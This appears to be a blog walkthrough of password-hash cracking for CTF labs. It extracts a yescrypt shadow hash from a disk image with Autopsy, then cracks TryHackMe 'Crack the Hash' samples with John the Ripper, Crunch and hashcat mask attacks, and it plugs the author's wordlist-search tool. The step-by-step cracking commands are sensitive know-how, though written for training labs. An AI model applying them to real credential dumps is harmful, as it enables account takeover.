For this purpose, we will choose the Autopsy software, which is a free forensic tool. Install it and open an empty case. When complete, follow the image instructions.

Note: The given process works for Disk image type or VM type file forensics.

Now, select the image contain file and the image ->

Then, go next , next. Then it start the analyze and it will take some time when it is finish by the given image way you will be able to get the shadow file :')->

Step 1: Prepare Hash File

echo '$y$j9T$zY1oKFxJlTgP2WcJhzbNl1$xhkUmB8R9fzETc/1kgL/nOPcWFTvhn17clxXCgyFjpC' > hash.txt

Now, for cracking I will prefer John the ripper. If, default kali not work then you may use the john jumbo link & install_explain_link. After, it is installed let's follow the below steps

Step 2: Dictionary Attack

john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Check results:

john --show hash.txt

Step 3: When Dictionary Attack Fails

If the password is not present in the wordlist, more advanced techniques are required.

1. Sequential brute force (incremental attack)

This method tries all possible combinations:

john --format=crypt --incremental hash.txt

2. Custom wordlist generation using Crunch

Crunch allows generation of targeted wordlists instead of random brute force.

Basic syntax:

crunch <min> <max> <charset> -o wordlist.txt

Examples:

Numeric-only wordlist (4–6 digits):

crunch 4 6 0123456789 -o numbers.txt

Lowercase alphabet wordlist (3–5 characters):

crunch 3 5 abcdefghijklmnopqrstuvwxyz -o alpha.txt

Mixed pattern wordlist:

crunch 6 6 abcdef123 -o custom.txt

3. Use custom wordlist with John

john --format=crypt --wordlist=custom.txt hash.txt

Summary

Start with dictionary attack using rockyou.txt
Apply rule-based mutations
If unsuccessful, use custom wordlists (Crunch)
Use incremental brute force only as a last resort
Always prioritize contextual password guessing over blind attacks

Key Insight

Yescrypt is designed to resist brute-force attacks. Effective cracking depends not on raw computation, but on intelligent wordlist construction and contextual analysis. This is why dictionary-based attacks remain the most practical method in CTFs and security testing environments.

Offline Hash Cracking Tutorial: Crack the Hash Room Walkthrough | TryHackMe

Md. Ibrahim Reza Rabbi — Sun, 19 Apr 2026 09:04:19 +0000

Can you complete the level 1 tasks by cracking the hashes?
Question-01:

Hash: 48bb6e862e54f2a795ffc4e541caed4d

Identifying the hash type (tools used -> "haiti" , "hash-identifier" , "hashid" )

All indicating MD5 (mode 0)

Now, put the hash text in the hash.txt file

Question-02:

Hash: CBFDAC6008F9CAB4083784CBD1874F76618D2A97

Let's solve this with "john the ripper" tool

Question-03:

Hash: 1C8BFE8F801D79745C4631D09FFF36C82AA37FC4CCE4FC946683D7B336B63032

like the 1 ->

Question-04:

Hash: $2y$12$Dwt1BZj6pcyc3Dy1FWZ5ieeUznr71EeNkJkUlypTsgbX1H68wsRom

It will take many time if we want to crack it by hashcat blowfish method normally

confirmed “blowfish”
Now, this will take long time crack

So, let’s do brute force as string (Where I don’t know the length and assuming all lowercase letters)

It will also take very much time :’/
But , from internet i know the result is “bleh”
so, for fast work modify the previous code to show it in short time

It will execute the hash very fast as it know the length and 1st 2 characters of hash crack

Question-05:

Hash: 279412f945939ba78ce0758d3fd83daa

Now, this is mine favorite one among all. From, crack station,

Now, I will use mine own create Linux tool which very efficient in password existence finding from wordlists. you can visit this link for more info

Ibrahim71Reza / password_finder

🚀 pwfind (Password Find)

The Ultimate, World's Fastest Password and Secret Finder for Huge Wordlists.

Stop crashing your RAM. Start finding secrets instantly.

⚡ Why `pwfind`?

When penetration testers, bug bounty hunters, or sysadmins work with massive datasets (like a 50GB SecLists dump or massive compressed server logs), standard tools like grep or Python scripts will either bottleneck on CPU, or load the whole file into RAM and crash the system.

pwfind is written in highly optimized Rust. It utilizes multi-threading, memory-safe buffered streaming, and on-the-fly decompression to hunt for exact passwords or regex secrets across millions of lines in a fraction of a second.

✨ Core Features

🏎️ Blazing Fast Concurrency: Utilizes all your CPU cores to search dozens of files simultaneously.
🧠 Hacker Intelligence (Presets): Built-in complex Regex patterns to instantly find JWT Tokens, AWS Keys, IPv4 Addresses, and Emails.
📦 On-the-Fly Decompression: Searches directly…

View on GitHub

Now, if you notice you will see there is no single wordlist which have this password in it

So, we have to go for a long bruteforce to crack this :) No quick dictionary attack :'(

We can use this payload,

hashcat -m 900 -a 3 hash.txt ?a?l?l?l?l?l?l?l?d?d

This will also take time but will work at the end
To ensure you it will work just running a sample case of that code manually,

Okay now, We will jump to the 2nd level of this ->

Question-1:

Hash: F09EDCB1FCEFC6DFB23DC3505A882655FF77375ED8AA2D1C13F640FCCC2D0C85

Now, lets crack this with SHA-256 mode 1400 by hashcat

Question-2:

Hash: 1DFECA0C002AE40B8619ECF94819CC1B

Now, this hash is tricky though it is showing MD5 or any version of MD but it is "NTLM". So, we should not blindly trust the top guess of this tools rather than sequentially test all the hash until we will get the hash cracked.

Question-3:

Hash: $6$aReallyHardSalt$6WKUTqzq.UQQmrm0p/T7MPpMbGNnzXPMAXi4bJMl9be.cfi3/qxIf.hsGpS41BqMhSrHVXgMpdjS6xeKZAs02.

Salt: aReallyHardSalt

Now, it is bit tricky. Go to hashcat_wiki and search the $6$ tag and understand which mode is this. ->

okay now lets crack we don't need to add the salt in the hash manually cause it is attached with that in the hash. But, most of we miss to add the (.) full stop at the end. This full stop is a part of this hash. And also it will take some time to crack ->

Question-4:

Hash: e5d8870e5bdd26602cab8dbe07a942c8669e56d6
Salt: tryhackme

now if we look at the hashcat_wiki the Sha-1 with salt is the mode 110 and also see the format sha1($pass.$salt) ->

But, unfortunately it didn't work :) then I sequentially search for other sha1 and salt type hash mode and I found this ->

And with that 160 mode we cracked the hash ->

┌──(kali㉿kali)-[~/password]
└─$ echo 'e5d8870e5bdd26602cab8dbe07a942c8669e56d6:tryhackme' > hash.txt

┌──(kali㉿kali)-[~/password]
└─$ hashcat -m 160 -a 0 hash.txt /usr/share/wordlists/rockyou.txt      
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-sandybridge-12th Gen Intel(R) Core(TM) i5-12450H, 1466/2933 MB (512 MB allocatable), 4MCU